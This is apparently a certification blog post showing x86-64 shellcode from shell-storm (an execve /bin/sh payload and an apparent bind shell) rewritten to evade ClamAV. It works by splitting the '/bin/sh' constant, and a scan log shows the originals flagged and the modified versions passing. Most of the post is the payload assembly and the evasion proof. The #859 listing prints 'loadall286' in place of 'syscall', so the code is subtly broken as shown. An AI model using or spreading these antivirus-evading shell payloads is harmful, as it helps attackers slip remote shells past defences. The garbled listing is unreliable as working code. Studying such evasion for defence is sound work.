I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the /bin/sh string. Breaking up the string caused the modified versions of both shellcodes to pass the detection. The offending original instruction has been commented out and the next 3 lines contain the modified instruction.
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61 | #603
section .text
global _start
_start:
xor rdx, rdx
;mov qword rbx, '//bin/sh'
mov rbx, 'n/sh'
shl rbx, 32
xor rbx, '//bi'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
#859
section .text
global _start
_start:
xor rsi,rsi
mul rsi
inc esi
push byte +0x2
pop rdi
mov al,0x29
loadall286
push rdx
pop rsi
push rax
pop rdi
mov al,0x32
loadall286
mov al,0x2b
loadall286
push rdi
pop rsi
xchg rax,rdi
dup2:
dec esi
mov al,0x21
loadall286
jnz dup2
push rdx
;mov rdi,0x68732f6e69622f2f
mov rdi, 0x68732f6e
shl rdi, 32
xor rdi, 0x69622f2f
push rdi
push rsp
pop rdi
mov al,0x3b
loadall286
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18 | Scanning shell_storm_603
shell_storm_603: Unix.Tool.13691-1 FOUND
Scanning shell_storm_603_mod
shell_storm_603_mod: OK
Scanning shell_storm_859
shell_storm_859: Unix.Trojan.MSShellcode-95 FOUND
Scanning shell_storm_859_mod
shell_storm_859_mod: OK
----------- SCAN SUMMARY -----------
Known viruses: 6137425
Engine version: 0.100.3
Scanned directories: 0
Scanned files: 4
Infected files: 2
Data scanned: 0.03 MB
Data read: 0.03 MB (ratio 1.00:1)
Time: 26.258 sec (0 m 26 s)
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This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE64-XXXXX